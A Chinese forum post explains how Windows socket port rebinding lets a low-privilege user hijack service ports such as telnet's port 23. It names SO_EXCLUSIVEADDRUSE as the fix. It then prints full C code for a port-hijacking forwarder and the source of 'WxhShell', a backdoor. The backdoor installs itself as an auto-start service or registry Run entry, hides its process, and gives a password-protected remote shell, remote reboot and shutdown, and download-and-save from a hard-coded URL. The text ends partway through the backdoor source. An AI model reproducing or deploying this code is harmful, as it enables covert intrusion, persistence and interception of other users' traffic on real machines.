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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `)[dVfxA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (5;D7zdA  
/R%^rz'w  
  saddr.sin_family = AF_INET; <pOl[5v]  
*fP(6e#G,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >QI~`MiI  
.v,bXU$@YG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iMWW%@U^=  
) p^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G\1J _al  
Lh 9S8EU  
  这意味着什么?意味着可以进行如下的攻击: d,R6` i  
L#j |2H|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6;JP76PD  
ozxYH],  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) + v[O  
bag&BHw  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,#aS/+;[)  
6+ 8mV8{-8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \/,g VT  
BPWnck=%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z}[xQ5  
ZT9IMihV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Qcgu`]7}  
Wy(pLBmb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6_U |(f  
n{=7 yK  
  #include 2 `5=0E1k  
  #include G{A)H_o*  
  #include gUGOHd(A  
  #include    S'?fJ.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NQ!<f\m4n  
  int main() J"bD\%  
  { ;\s~%~ \  
  WORD wVersionRequested; _:5=|2-E  
  DWORD ret; 6To:T[ z#  
  WSADATA wsaData; -gSj>b7T  
  BOOL val; [tm[,VfA^  
  SOCKADDR_IN saddr; "=ElCaP}  
  SOCKADDR_IN scaddr; a)S(p1BGg  
  int err; +\U]p_Fo3  
  SOCKET s; h^d\xn9GT#  
  SOCKET sc; VV\Xb31J  
  int caddsize; !2tw,QM  
  HANDLE mt; e;;):\p4  
  DWORD tid;   yId;\o B  
  wVersionRequested = MAKEWORD( 2, 2 ); y.fs,!|%@  
  err = WSAStartup( wVersionRequested, &wsaData ); &9@gm--b:  
  if ( err != 0 ) { _vIO !*h0  
  printf("error!WSAStartup failed!\n"); fkBLrw  
  return -1; {~nvs4X  
  } kdBV1E+:C  
  saddr.sin_family = AF_INET; /u ?9S/  
   _-6e0srZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hpjUkGm5  
V{FE[v_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RnSm]}?  
  saddr.sin_port = htons(23); {Ve D@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SJOmeN}4)  
  { *pK lA&_  
  printf("error!socket failed!\n"); Oh-Fp-v87  
  return -1; H%cp^G  
  } yXXvs'$R \  
  val = TRUE; Q^|6J#o[9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @9<S*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) t]r7cA  
  { v\'r Xy  
  printf("error!setsockopt failed!\n"); &_YtY47  
  return -1; dQ`:8S K  
  } [88{@)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9iK&f\#5H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X [!X>w&z|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .c:)Qli  
rd|crD 3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E+Im~=m$  
  { '5V^}/  
  ret=GetLastError(); w`0)x5 TGR  
  printf("error!bind failed!\n"); ]DU61Z"v?b  
  return -1; v}&#f&q!  
  } W8x[3,gT  
  listen(s,2); $mD>r x  
  while(1) p6 <}3m$  
  { M`bL5J;  
  caddsize = sizeof(scaddr); L=,Y1nO:p  
  //接受连接请求 &:q[-K@!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \.kTe<.:_  
  if(sc!=INVALID_SOCKET) 9='=-;@/5  
  { p; F2z;#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); AX8gij  
  if(mt==NULL) >"O1`xdG  
  { |&Au6 3  
  printf("Thread Creat Failed!\n"); ^IYJEqK  
  break; q`cEA<~S  
  } .E#<fz  
  } PK_Fx';ke^  
  CloseHandle(mt); K`~BL=KI  
  } jjX'_E  
  closesocket(s); 3y/1!A3  
  WSACleanup(); X:R%1+&*  
  return 0; m,=)qex  
  }   .B6`OX&k  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'qdg:_L"  
  { |GuKU!  
  SOCKET ss = (SOCKET)lpParam; ,7t3>9 -M"  
  SOCKET sc; z;U LQ  
  unsigned char buf[4096]; kAY@^vi  
  SOCKADDR_IN saddr; Z6NJ)XQy6F  
  long num; K q/~T7Ru  
  DWORD val; Uld_X\;Q4  
  DWORD ret; \Oz,Qzr|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m';#R9\Fz  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EZ..^M3  
  saddr.sin_family = AF_INET; iwB8I^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >kt~vJI  
  saddr.sin_port = htons(23); {ip=iiW2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #>@<n3rq  
  { <Kh?Ad>N  
  printf("error!socket failed!\n"); ?_8%h`z  
  return -1; T.J`S(oI  
  } pn|p(6  
  val = 100; 2ve lH;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V;H d)v( j  
  { _k6x=V;9g  
  ret = GetLastError(); DakLD~H;  
  return -1; i^/ eN  
  } p "/(>8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tF<^9stM  
  { #"hJpyW 4V  
  ret = GetLastError(); 7[4_+Q:}  
  return -1; ^GE^Q\&D&  
  } )\0Ug7]?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^WmGo]<B_  
  { \5t`p67Ve_  
  printf("error!socket connect failed!\n"); ESn6D@"  
  closesocket(sc); p(~Y" H  
  closesocket(ss); yI3Q|731)  
  return -1; 4[2=L9MIo~  
  } mXQl;  
  while(1) w'!ECm>*`  
  { &$<(D0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *Kp}B}}J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KbXbT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -,FK{[h]ka  
  num = recv(ss,buf,4096,0); 6#-6Bh)>4  
  if(num>0) oSN8Xn*qr  
  send(sc,buf,num,0); 1P+Mv^%I  
  else if(num==0)  AQB1gzE  
  break; ?@3#c  
  num = recv(sc,buf,4096,0); &/sGh0  
  if(num>0) oK#\HD4U  
  send(ss,buf,num,0); K5 5} Wi  
  else if(num==0) D LNa6  
  break; o lYPlH F  
  } Y0@'za^y  
  closesocket(ss); "kcpA#uD|  
  closesocket(sc); .Ln;m8  
  return 0 ; `l+ >iM  
  } FYp|oD2=1  
f<g>dQlE  
jK\V|5k  
========================================================== "}0)YRz%  
>]:N?[Y_~}  
下边附上一个代码,,WXhSHELL _Wm(/ +G_|  
ls[Ls  
========================================================== N8,EI^W8Z  
X!,#'&p&  
#include "stdafx.h" 8FB\0LA!g  
nw~/~eM5=  
#include <stdio.h> !S~,> ,yd  
#include <string.h> O3_D~O ."  
#include <windows.h> _7rqXkp%  
#include <winsock2.h> &=v/VRan[  
#include <winsvc.h> 8T8pAs0 p  
#include <urlmon.h> A)hq0FPp  
4}.WhE|h  
#pragma comment (lib, "Ws2_32.lib") u^}7Vs .  
#pragma comment (lib, "urlmon.lib")  ]# Y|   
/d{glOk  
#define MAX_USER   100 // 最大客户端连接数 QN)/,=#  
#define BUF_SOCK   200 // sock buffer 8W19#?7>B  
#define KEY_BUFF   255 // 输入 buffer JVD@I{  
q,<n,0)K  
#define REBOOT     0   // 重启 ^t\kLU  
#define SHUTDOWN   1   // 关机 \?bwm&6+r  
@`w'   
#define DEF_PORT   5000 // 监听端口 B.]qrS|  
5u'TmLuKT  
#define REG_LEN     16   // 注册表键长度 1 ;cv-W  
#define SVC_LEN     80   // NT服务名长度 r{pI-$  
g2+l@$W  
// 从dll定义API XD;15a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zk~nB}Xw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0t5Q9#RY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s,1pZT <E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @J~ lV\  
k)N2 +/  
// wxhshell配置信息 6Y;Y}E  
struct WSCFG { S 23S.]r  
  int ws_port;         // 监听端口 :'5G_4y)h  
  char ws_passstr[REG_LEN]; // 口令 =giM@MV  
  int ws_autoins;       // 安装标记, 1=yes 0=no /Oq1q._9F  
  char ws_regname[REG_LEN]; // 注册表键名 0MwG}|RC  
  char ws_svcname[REG_LEN]; // 服务名 *4(/t$)pEl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 03X<x|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "\VW. S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t` }20=I+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9F2w.(m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c*y$bf<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LVPt*S=/  
PY^^^01P  
}; 1_Dn?G^H  
B6tcKh9d,  
// default Wxhshell configuration S[W9G)KWp  
struct WSCFG wscfg={DEF_PORT, t 3(%UB  
    "xuhuanlingzhe", o~i]W.SI(  
    1, [47K7~9p  
    "Wxhshell", ^>,< *p  
    "Wxhshell", lH#@^i|G  
            "WxhShell Service", Z]mM  
    "Wrsky Windows CmdShell Service", /E`l:&89)  
    "Please Input Your Password: ", l%sp[uqcg  
  1, Nw9-pQ  
  "http://www.wrsky.com/wxhshell.exe", ,omp F$%  
  "Wxhshell.exe" AJ;u&&c4C\  
    }; ka?IX9t\  
8w{#R{w  
// 消息定义模块 xm%[}Dt]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TEaD-mY3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,W)IVc   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q|47;bK'  
char *msg_ws_ext="\n\rExit."; z;fd#N:  
char *msg_ws_end="\n\rQuit."; l }2%?d  
char *msg_ws_boot="\n\rReboot..."; bR>o!(M'Z\  
char *msg_ws_poff="\n\rShutdown..."; 4i+PiD:H  
char *msg_ws_down="\n\rSave to "; W2r6jm!  
<|KKv5[  
char *msg_ws_err="\n\rErr!"; ]MqH13`)A  
char *msg_ws_ok="\n\rOK!"; w8m8r`h  
<?q&PCAn^  
char ExeFile[MAX_PATH]; YLA557~  
int nUser = 0; IyG = 7  
HANDLE handles[MAX_USER]; RE`J"&  
int OsIsNt; 9A/Kn]s(jj  
)Dk0V!%N  
SERVICE_STATUS       serviceStatus; cXLV"d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rZ8Y=) e  
(n":] 8}  
// 函数声明 3PvZ_!G  
int Install(void); P`Hd*xh".j  
int Uninstall(void); w-0O j  
int DownloadFile(char *sURL, SOCKET wsh); t6<sNz F&  
int Boot(int flag); l6&v}M  
void HideProc(void); Ie^Dn!0S  
int GetOsVer(void); 1K? & J2  
int Wxhshell(SOCKET wsl); !^>LOH>j  
void TalkWithClient(void *cs); LH3N}J({  
int CmdShell(SOCKET sock); ADLa.{  
int StartFromService(void);  qrkRD*a  
int StartWxhshell(LPSTR lpCmdLine); 66^1&D"  
in=k:j,U0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )}k?r5g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O?j98H Sya  
CfkNy[}=  
// 数据结构和表定义 RS||KA])J  
SERVICE_TABLE_ENTRY DispatchTable[] = Q !RVD*(  
{ .q_uJ_qu-  
{wscfg.ws_svcname, NTServiceMain}, F9u:8;\@`  
{NULL, NULL} A]tf>H#1  
}; eZR8<Z %  
9Th32}H  
// 自我安装 j$|Yd=  
int Install(void) G)tq/`zNw  
{ )F%wwc^r  
  char svExeFile[MAX_PATH]; g9([3pV,  
  HKEY key;  :kp  
  strcpy(svExeFile,ExeFile); UALg!M#  
&m%Pr  
// 如果是win9x系统,修改注册表设为自启动 K+h9bI/Sf  
if(!OsIsNt) { (2O} B.6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [/+dHW|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #U!(I#^3  
  RegCloseKey(key); s_ GK;;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BuEQ^[Ex  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v' 9(et  
  RegCloseKey(key); c5=v`hv  
  return 0; !ulLGmUn  
    } 5|6z1{g8  
  } Zeme`/aBb  
} PBAz` y2  
else { I7q?V1f u4  
k[r./xEv+t  
// 如果是NT以上系统,安装为系统服务 uhw5O9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +/@ZnE9s  
if (schSCManager!=0) `jUS{ 3^  
{ K)h"G#NZM  
  SC_HANDLE schService = CreateService o%4&1^ Vg  
  ( m mJ)m  
  schSCManager, <D;H} ef  
  wscfg.ws_svcname, _A)_K;cz  
  wscfg.ws_svcdisp, TN |{P  
  SERVICE_ALL_ACCESS, l|ZzG4]+l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9?}rpA`P  
  SERVICE_AUTO_START, Hz3 S^o7  
  SERVICE_ERROR_NORMAL, $@u^Jt, ?  
  svExeFile, 1VjeP *  
  NULL, qh)!|B  
  NULL, -9H!j4]T?  
  NULL, N}l]Ilm$34  
  NULL, 3Q*RR"3  
  NULL OO !S w  
  ); S\v&{  
  if (schService!=0) n6%jhv9H  
  { ;8;~C "  
  CloseServiceHandle(schService); LKqog%,c  
  CloseServiceHandle(schSCManager); 'a-5 U TT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *nsnX/e(-  
  strcat(svExeFile,wscfg.ws_svcname); 9$Pl'>5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F'5d\v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :`>+f.)  
  RegCloseKey(key); Z z; <P  
  return 0; {Jw<<<G  
    } hyvV%z Z  
  } #H|j-RM2  
  CloseServiceHandle(schSCManager); Y%CL@G60  
} soqNzdTB2  
} LHHDt<+B  
vq0M[Vy  
return 1; Za:BJ:  
} 4na4Jsq{  
#o"HD6e  
// 自我卸载 qs c-e,rl  
int Uninstall(void) 0m+5Zn  
{ <E}]t,'3  
  HKEY key; '9p5UC  
mk`cyN>m  
if(!OsIsNt) { &W!d}, ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a5U2[Ko80  
  RegDeleteValue(key,wscfg.ws_regname); bF Y)o Z  
  RegCloseKey(key); kkE)zF   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 ?|; on  
  RegDeleteValue(key,wscfg.ws_regname); <0Egkz3s  
  RegCloseKey(key); AXU!-er$  
  return 0; Acq>M^E3  
  } ^0ZKHR(}e  
} cdtzf:#q  
} HyX4ob[X  
else { 1M~:]}*<  
.{]c&Ef+f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8 {4D|o#O  
if (schSCManager!=0) Lx:9@3'7'  
{ :AE;x&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <j8&u/Za~'  
  if (schService!=0) fkv{\zN  
  { l#vw L15  
  if(DeleteService(schService)!=0) { Q RmQ>  
  CloseServiceHandle(schService); dT@SO  
  CloseServiceHandle(schSCManager); SE}RP3dF!  
  return 0; xZ'` _x9l  
  } .vOpU4  
  CloseServiceHandle(schService); i;'X}KW  
  } U9p.Dh~)vG  
  CloseServiceHandle(schSCManager); KGE-RK  
} -TU{r_!Z(  
} mKFHT  
7E75s)KH  
return 1; QWW7I.9r  
} (Q]Y> '  
4\'81"e i  
// 从指定url下载文件 Z=t#*"J  
int DownloadFile(char *sURL, SOCKET wsh) ??%T  
{ b5 C}K  
  HRESULT hr; v"('_!  
char seps[]= "/"; q;a*gqt   
char *token; f({-j% m  
char *file; \PMKmJ X0O  
char myURL[MAX_PATH]; HxqV[|}0u  
char myFILE[MAX_PATH]; 7F9g:r/^  
v/ 00L R  
strcpy(myURL,sURL); X3=Jp'p$h  
  token=strtok(myURL,seps); L z>{FOR  
  while(token!=NULL) rNzhP*Fw  
  { bb :|1D  
    file=token; `J ,~hK  
  token=strtok(NULL,seps); /'=^^%&:B  
  } 89- 8v^ Pq  
~CdseSo 9  
GetCurrentDirectory(MAX_PATH,myFILE); ?eVuz x  
strcat(myFILE, "\\"); 19-yM`O  
strcat(myFILE, file); &Cpxo9-  
  send(wsh,myFILE,strlen(myFILE),0); *DI:MBJY  
send(wsh,"...",3,0); }!7DF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k$x 'v#  
  if(hr==S_OK) K\E]X\:  
return 0; 4C9"Q,o%&  
else R6@~   
return 1; a~eLkWnh<k  
@?cXa: tX  
} b= ec?n #7  
6M vR R  
// 系统电源模块 7 }MJK)  
int Boot(int flag) -0IFPL8  
{ V45Udwp ^  
  HANDLE hToken; |e; z"-3  
  TOKEN_PRIVILEGES tkp; >iWf7-:  
Cv(N5mA2  
  if(OsIsNt) { ^]!1'xg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yl~?MOk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2c`=S5  
    tkp.PrivilegeCount = 1; ?gMrcc/{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "KE38`NL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O+Lb***b"  
if(flag==REBOOT) { M j%|'dZz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k|c0tvp  
  return 0; YGpp:8pen  
} x7kg_`\U  
else { Jq<`j<'9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u.4vp]eU  
  return 0; X%1.mTU~K  
} kt0{-\ p  
  } L.%~?T[F  
  else { n zrCOMld  
if(flag==REBOOT) { KPe.AK,8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;Owu:}   
  return 0; 'CAukk|  
} i|{nj\6w^  
else {  p6l@O3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TvG:T{jwy  
  return 0; gsm^{jB  
} )MW}!U9G  
} }' 0Xz9/ l  
}vA nP]!A5  
return 1; [qMO7enu#  
} =y]b|"s~2  
R9-JjG2v  
// win9x进程隐藏模块 eh/OCzWH  
void HideProc(void) ]S aH/$  
{ k3.p@8@:  
T9<nD"=:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zy3&Zt  
  if ( hKernel != NULL ) 4lf36K ,  
  { "LIii1]k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o9d$ 4s@/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L[r0UXYLV  
    FreeLibrary(hKernel); TY[d%rMm  
  } Y@S6m@.$  
v]SE?xF{U  
return; >^GCSPe  
} g E+OQWu  
yB{o_1tc  
// 获取操作系统版本 {,2_K6#  
int GetOsVer(void) f>/ 1KV  
{ Z?aR9OTP  
  OSVERSIONINFO winfo; \.|A,G=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  CF92AY  
  GetVersionEx(&winfo); ^&/&I9z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .eXA.9 |jm  
  return 1; CWsv#XOg]  
  else 7kpW 1tjY  
  return 0; FS+^r\)  
} SWd[iD  
@M?EgVmW  
// 客户端句柄模块 D % ,yA  
int Wxhshell(SOCKET wsl) &B0&183  
{ oYErG] ,  
  SOCKET wsh; Xq!tXJ)  
  struct sockaddr_in client; Cwf$`?|W  
  DWORD myID; Rj;e82%%N  
"UnSZ[;t  
  while(nUser<MAX_USER) .ehvhMuG|  
{ <FT\u{9$  
  int nSize=sizeof(client); na:^7:I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gH)B` @  
  if(wsh==INVALID_SOCKET) return 1; $uB(@Ft.  
 CyDf[C)=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lfeWtzOf  
if(handles[nUser]==0) 4EbiCSo  
  closesocket(wsh); ^Es)?>eah  
else <OfzE5  
  nUser++; c7!`d.{90  
  } Cbvl( (  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A0u:Fm{E  
 8\ ;G+  
  return 0; eaP$/U D?  
} gc[J.[  
uCS  
// 关闭 socket B4&pBiG&f6  
void CloseIt(SOCKET wsh) pAmI ](  
{ u$p|hd d  
closesocket(wsh); gdY/RDxn:  
nUser--; DC7}Xly(  
ExitThread(0); =U`c }dhS  
} >g0@ Bk  
'X<uG x  
// 客户端请求句柄 U2nRgd  
void TalkWithClient(void *cs) 3g:+p  
{ <r3n?w8  
=:8=5tj  
  SOCKET wsh=(SOCKET)cs; OVf|4J/Yx  
  char pwd[SVC_LEN]; 0j MI)aY.  
  char cmd[KEY_BUFF]; }0),b ?*e  
char chr[1]; (HKm2JuFG  
int i,j; f(o`=% k8  
pT$AdvI]  
  while (nUser < MAX_USER) { &uW.V+3  
# |[@Due  
if(wscfg.ws_passstr) { $0 zL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |T&#"q,i9%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lb 4!N` l  
  //ZeroMemory(pwd,KEY_BUFF); P"@^'yR5WK  
      i=0; S`@*zQ  
  while(i<SVC_LEN) { Bd[Gsns  
gg_(%.>  
  // 设置超时 x[6Bc  
  fd_set FdRead; (OJ9@_fgG[  
  struct timeval TimeOut; )E2Lf ]  
  FD_ZERO(&FdRead); K L~sEli  
  FD_SET(wsh,&FdRead); {z_pL^S'52  
  TimeOut.tv_sec=8; .6#2i <oPW  
  TimeOut.tv_usec=0; M4\Io]}-M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dL)5~V8s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qrh7\`,.m/  
+t{FF!mL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x^BBK'  
  pwd=chr[0]; &H{>7q#r  
  if(chr[0]==0xd || chr[0]==0xa) { t[,\TM^h}0  
  pwd=0; IxR:a(  
  break; LnX^*;P5t  
  } -;z\BW5 y  
  i++; dUSuhT  
    } 5L#M7E  
x#j_}L!V;  
  // 如果是非法用户,关闭 socket O v6=|]cW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Big-)7?  
} J?$uNlI  
42LV>X#i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6d8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SUhP e+  
,Z"sh*  
while(1) { /VkJ+%}+j  
s:P-F0q!&  
  ZeroMemory(cmd,KEY_BUFF); o*'3N/D~  
WU_Q 7%+QS  
      // 自动支持客户端 telnet标准   8+F2 !IM  
  j=0; v8N1fuP}  
  while(j<KEY_BUFF) { $hh=-#J8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -+/|  
  cmd[j]=chr[0]; BJ/%{ C`g  
  if(chr[0]==0xa || chr[0]==0xd) { cG6+'=]3<  
  cmd[j]=0; \v Go5`  
  break; 4+:u2&I  
  } v)EJ|2`  
  j++; 5GP' cE  
    } pUx@QyrI  
AWcP OU  
  // 下载文件 #*@Yil=1  
  if(strstr(cmd,"http://")) { ppA8c6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G>"[nXmcu  
  if(DownloadFile(cmd,wsh)) <o}t-Bgg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *L_wRhhk  
  else '#?hm-Ga  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p9J(,}  
  } l[Oxf|  
  else { X3vrD{uNU  
`h#JDcT;a  
    switch(cmd[0]) {  .~']gih#  
  YQJ_t@0C  
  // 帮助 [ ]NAV  
  case '?': { QH:i)v*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~Tolz H!  
    break; ;$]R#1i44  
  } WxdYvmp6z[  
  // 安装 ;H.r6  
  case 'i': { `SWK(='  
    if(Install()) ^+&}:9Ml  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FMiYZ1^r  
    else /hHD\+0({  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O.!?O(  
    break; RIlPH~  
    } xi0&"?7la  
  // 卸载 z`CI gSR  
  case 'r': { zi'?FM[f)  
    if(Uninstall()) xk9]jQ7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;F5%X\ t-  
    else )`a R?_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SBA;p7^"  
    break; E#OKeMK  
    } Z1zC@z4sUj  
  // 显示 wxhshell 所在路径 I| hG"i  
  case 'p': { }T6jQ:?@  
    char svExeFile[MAX_PATH]; BDA\9m^3  
    strcpy(svExeFile,"\n\r"); @ggM5mm  
      strcat(svExeFile,ExeFile); F6 Ixu_s  
        send(wsh,svExeFile,strlen(svExeFile),0); .u)YZN0\  
    break; 5UqCRz<,R  
    } <e"2<qVi  
  // 重启 XOoND  
  case 'b': { (1R,   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 99x]DY  
    if(Boot(REBOOT)) <K~#@.^`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<S9nZg%p  
    else { (fl2?d5+C  
    closesocket(wsh); p n)5neX{  
    ExitThread(0); Sc(2c.HO*  
    } u:k#1Nn!  
    break; 59LIK&w  
    } &'Ch[Wo]H  
  // 关机 XyhdsH5%3!  
